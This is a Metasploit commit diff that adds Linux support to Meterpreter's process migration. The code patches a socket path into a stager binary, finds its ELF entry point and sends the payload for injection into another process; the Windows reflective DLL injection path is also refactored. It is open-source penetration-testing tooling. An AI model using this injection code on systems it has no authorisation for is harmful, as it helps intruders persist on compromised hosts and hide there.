Land #3594, jvazquez-r7's linux meterpreter migration support

This commit is contained in:
Brent Cook 2014-12-31 09:20:44 -06:00
commit 92bdf42496
No known key found for this signature in database
GPG Key ID: 663AF51BD5E4D8D5
7 changed files with 205 additions and 88 deletions

View File

@ -25,6 +25,9 @@ module Meterpreter
###
class ClientCore < Extension
UNIX_PATH_MAX = 108
DEFAULT_SOCK_PATH = "/tmp/meterpreter.sock"
#
# Initializes the 'core' portion of the meterpreter client commands.
#
@ -180,11 +183,13 @@ class ClientCore < Extension
# Migrates the meterpreter instance to the process specified
# by pid. The connection to the server remains established.
#
def migrate( pid )
def migrate(pid, writable_dir = nil)
keepalive = client.send_keepalives
client.send_keepalives = false
process = nil
binary_suffix = nil
old_platform = client.platform
old_binary_suffix = client.binary_suffix
# Load in the stdapi extension if not allready present so we can determine the target pid architecture...
client.core.use( "stdapi" ) if not client.ext.aliases.include?( "stdapi" )
@ -202,63 +207,58 @@ class ClientCore < Extension
raise RuntimeError, "Cannot migrate into non existent process", caller
end
# We cant migrate into a process that we are unable to open
if process['arch'].nil? or process['arch'].empty?
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
# We cannot migrate into a process that we are unable to open
# On linux, arch is empty even if we can access the process
if client.platform =~ /win/
if process['arch'] == nil || process['arch'].empty?
raise RuntimeError, "Cannot migrate into this process (insufficient privileges)", caller
end
end
# And we also cant migrate into our own current process...
# And we also cannot migrate into our own current process...
if process['pid'] == client.sys.process.getpid
raise RuntimeError, "Cannot migrate into current process", caller
end
# Create a new payload stub
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
if client.platform =~ /linux/
if writable_dir.blank?
writable_dir = tmp_folder
end
# Include the appropriate reflective dll injection module for the target process architecture...
if process['arch'] == ARCH_X86
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "x86.dll"
elsif process['arch'] == ARCH_X86_64
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll"
else
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
stat_dir = client.fs.filestat.new(writable_dir)
unless stat_dir.directory?
raise RuntimeError, "Directory #{writable_dir} not found", caller
end
# Rex::Post::FileStat#writable? isn't available
end
# Create the migrate stager
migrate_stager = c.new()
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
if dll.nil?
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
end
migrate_stager.datastore['DLL'] = dll
blob = migrate_stager.stage_payload
if client.passive_service
#
# Patch options into metsrv for reverse HTTP payloads
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
end
blob = generate_payload_stub(process)
# Build the migration request
request = Packet.create_request( 'core_migrate' )
if client.platform =~ /linux/i
socket_path = File.join(writable_dir, Rex::Text.rand_text_alpha_lower(5 + rand(5)))
if socket_path.length > UNIX_PATH_MAX - 1
raise RuntimeError, "The writable dir is too long", caller
end
pos = blob.index(DEFAULT_SOCK_PATH)
if pos.nil?
raise RuntimeError, "The meterpreter binary is wrong", caller
end
blob[pos, socket_path.length + 1] = socket_path + "\x00"
ep = elf_ep(blob)
request.add_tlv(TLV_TYPE_MIGRATE_BASE_ADDR, 0x20040000)
request.add_tlv(TLV_TYPE_MIGRATE_ENTRY_POINT, ep)
request.add_tlv(TLV_TYPE_MIGRATE_SOCKET_PATH, socket_path, false, client.capabilities[:zlib])
end
request.add_tlv( TLV_TYPE_MIGRATE_PID, pid )
request.add_tlv( TLV_TYPE_MIGRATE_LEN, blob.length )
request.add_tlv( TLV_TYPE_MIGRATE_PAYLOAD, blob, false, client.capabilities[:zlib])
@ -307,15 +307,28 @@ class ClientCore < Extension
end
end
# Update the meterpreter platform/suffix for loading extensions as we may have changed target architecture
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a module this is the simplest solution I could think of.
# If the platform specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change significantly we will need a better way to do this.
if process['arch'] == ARCH_X86_64
client.platform = 'x64/win64'
client.binary_suffix = 'x64.dll'
# Update the meterpreter platform/suffix for loading extensions as we may
# have changed target architecture
# sf: this is kinda hacky but it works. As ruby doesnt let you un-include a
# module this is the simplest solution I could think of. If the platform
# specific modules Meterpreter_x64_Win/Meterpreter_x86_Win change
# significantly we will need a better way to do this.
case client.platform
when /win/i
if process['arch'] == ARCH_X86_64
client.platform = 'x64/win64'
client.binary_suffix = 'x64.dll'
else
client.platform = 'x86/win32'
client.binary_suffix = 'x86.dll'
end
when /linux/i
client.platform = 'x86/linux'
client.binary_suffix = 'lso'
else
client.platform = 'x86/win32'
client.binary_suffix = 'x86.dll'
client.platform = old_platform
client.binary_suffix = old_binary_suffix
end
# Load all the extensions that were loaded in the previous instance (using the correct platform/binary_suffix)
@ -348,6 +361,94 @@ class ClientCore < Extension
true
end
private
def generate_payload_stub(process)
case client.platform
when /win/i
blob = generate_windows_stub(process)
when /linux/i
blob = generate_linux_stub
else
raise RuntimeError, "Unsupported platform '#{client.platform}'"
end
blob
end
def generate_windows_stub(process)
c = Class.new( ::Msf::Payload )
c.include( ::Msf::Payload::Stager )
# Include the appropriate reflective dll injection module for the target process architecture...
if process['arch'] == ARCH_X86
c.include( ::Msf::Payload::Windows::ReflectiveDllInject )
binary_suffix = "x86.dll"
elsif process['arch'] == ARCH_X86_64
c.include( ::Msf::Payload::Windows::ReflectiveDllInject_x64 )
binary_suffix = "x64.dll"
else
raise RuntimeError, "Unsupported target architecture '#{process['arch']}' for process '#{process['name']}'.", caller
end
# Create the migrate stager
migrate_stager = c.new()
dll = MeterpreterBinaries.path('metsrv',binary_suffix)
if dll.nil?
raise RuntimeError, "metsrv.#{binary_suffix} not found", caller
end
migrate_stager.datastore['DLL'] = dll
blob = migrate_stager.stage_payload
if client.passive_service
#
# Patch options into metsrv for reverse HTTP payloads
#
Rex::Payloads::Meterpreter::Patch.patch_passive_service! blob,
:ssl => client.ssl,
:url => self.client.url,
:expiration => self.client.expiration,
:comm_timeout => self.client.comm_timeout,
:ua => client.exploit_datastore['MeterpreterUserAgent'],
:proxyhost => client.exploit_datastore['PROXYHOST'],
:proxyport => client.exploit_datastore['PROXYPORT'],
:proxy_type => client.exploit_datastore['PROXY_TYPE'],
:proxy_username => client.exploit_datastore['PROXY_USERNAME'],
:proxy_password => client.exploit_datastore['PROXY_PASSWORD']
end
blob
end
def generate_linux_stub
file = ::File.join(Msf::Config.data_directory, "meterpreter", "msflinker_linux_x86.bin")
blob = ::File.open(file, "rb") {|f|
f.read(f.stat.size)
}
blob
end
def elf_ep(payload)
elf = Rex::ElfParsey::Elf.new( Rex::ImageSource::Memory.new( payload ) )
ep = elf.elf_header.e_entry
return ep
end
def tmp_folder
tmp = client.sys.config.getenv('TMPDIR')
if tmp.blank?
tmp = '/tmp'
end
tmp
end
end
end; end; end

View File

@ -48,44 +48,47 @@ TLV_TEMP = 60000
#
# TLV Specific Types
#
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_ANY = TLV_META_TYPE_NONE | 0
TLV_TYPE_METHOD = TLV_META_TYPE_STRING | 1
TLV_TYPE_REQUEST_ID = TLV_META_TYPE_STRING | 2
TLV_TYPE_EXCEPTION = TLV_META_TYPE_GROUP | 3
TLV_TYPE_RESULT = TLV_META_TYPE_UINT | 4
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_STRING = TLV_META_TYPE_STRING | 10
TLV_TYPE_UINT = TLV_META_TYPE_UINT | 11
TLV_TYPE_BOOL = TLV_META_TYPE_BOOL | 12
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_LENGTH = TLV_META_TYPE_UINT | 25
TLV_TYPE_DATA = TLV_META_TYPE_RAW | 26
TLV_TYPE_FLAGS = TLV_META_TYPE_UINT | 27
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_CHANNEL_ID = TLV_META_TYPE_UINT | 50
TLV_TYPE_CHANNEL_TYPE = TLV_META_TYPE_STRING | 51
TLV_TYPE_CHANNEL_DATA = TLV_META_TYPE_RAW | 52
TLV_TYPE_CHANNEL_DATA_GROUP = TLV_META_TYPE_GROUP | 53
TLV_TYPE_CHANNEL_CLASS = TLV_META_TYPE_UINT | 54
TLV_TYPE_CHANNEL_PARENTID = TLV_META_TYPE_UINT | 55
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_SEEK_WHENCE = TLV_META_TYPE_UINT | 70
TLV_TYPE_SEEK_OFFSET = TLV_META_TYPE_UINT | 71
TLV_TYPE_SEEK_POS = TLV_META_TYPE_UINT | 72
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_EXCEPTION_CODE = TLV_META_TYPE_UINT | 300
TLV_TYPE_EXCEPTION_STRING = TLV_META_TYPE_STRING | 301
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
TLV_TYPE_LIBRARY_PATH = TLV_META_TYPE_STRING | 400
TLV_TYPE_TARGET_PATH = TLV_META_TYPE_STRING | 401
TLV_TYPE_MIGRATE_PID = TLV_META_TYPE_UINT | 402
TLV_TYPE_MIGRATE_LEN = TLV_META_TYPE_UINT | 403
TLV_TYPE_MIGRATE_PAYLOAD = TLV_META_TYPE_STRING | 404
TLV_TYPE_MIGRATE_ARCH = TLV_META_TYPE_UINT | 405
TLV_TYPE_MIGRATE_BASE_ADDR = TLV_META_TYPE_UINT | 407
TLV_TYPE_MIGRATE_ENTRY_POINT = TLV_META_TYPE_UINT | 408
TLV_TYPE_MIGRATE_SOCKET_PATH = TLV_META_TYPE_STRING | 409
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
TLV_TYPE_CIPHER_NAME = TLV_META_TYPE_STRING | 500
TLV_TYPE_CIPHER_PARAMETERS = TLV_META_TYPE_GROUP | 501
#
# Core flags

View File

@ -69,7 +69,7 @@ class Console::CommandDispatcher::Core
# whatever reason it is not adding core_migrate to its list of commands.
# Use a dumb platform til it gets sorted.
#if client.commands.include? "core_migrate"
if client.platform =~ /win/
if client.platform =~ /win/ || client.platform =~ /linux/
c["migrate"] = "Migrate the server to another process"
end
@ -321,7 +321,11 @@ class Console::CommandDispatcher::Core
end
def cmd_migrate_help
print_line "Usage: migrate <pid>"
if client.platform =~ /linux/
print_line "Usage: migrate <pid> [writable_path]"
else
print_line "Usage: migrate <pid>"
end
print_line
print_line "Migrates the server instance to another process."
print_line "NOTE: Any open channels or other dynamic state will be lost."
@ -331,7 +335,8 @@ class Console::CommandDispatcher::Core
#
# Migrates the server to the supplied process identifier.
#
# @param args [Array<String>] Commandline arguments, only -h or a pid
# @param args [Array<String>] Commandline arguments, -h or a pid. On linux
# platforms a path for the unix domain socket used for IPC.
# @return [void]
def cmd_migrate(*args)
if ( args.length == 0 or args.include?("-h") )
@ -345,6 +350,10 @@ class Console::CommandDispatcher::Core
return
end
if client.platform =~ /linux/
writable_dir = (args.length >= 2) ? args[1] : nil
end
begin
server = client.sys.process.open
rescue TimeoutError => e
@ -385,7 +394,11 @@ class Console::CommandDispatcher::Core
server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}")
# Do this thang.
client.core.migrate(pid)
if client.platform =~ /linux/
client.core.migrate(pid, writable_dir)
else
client.core.migrate(pid)
end
print_status("Migration completed successfully.")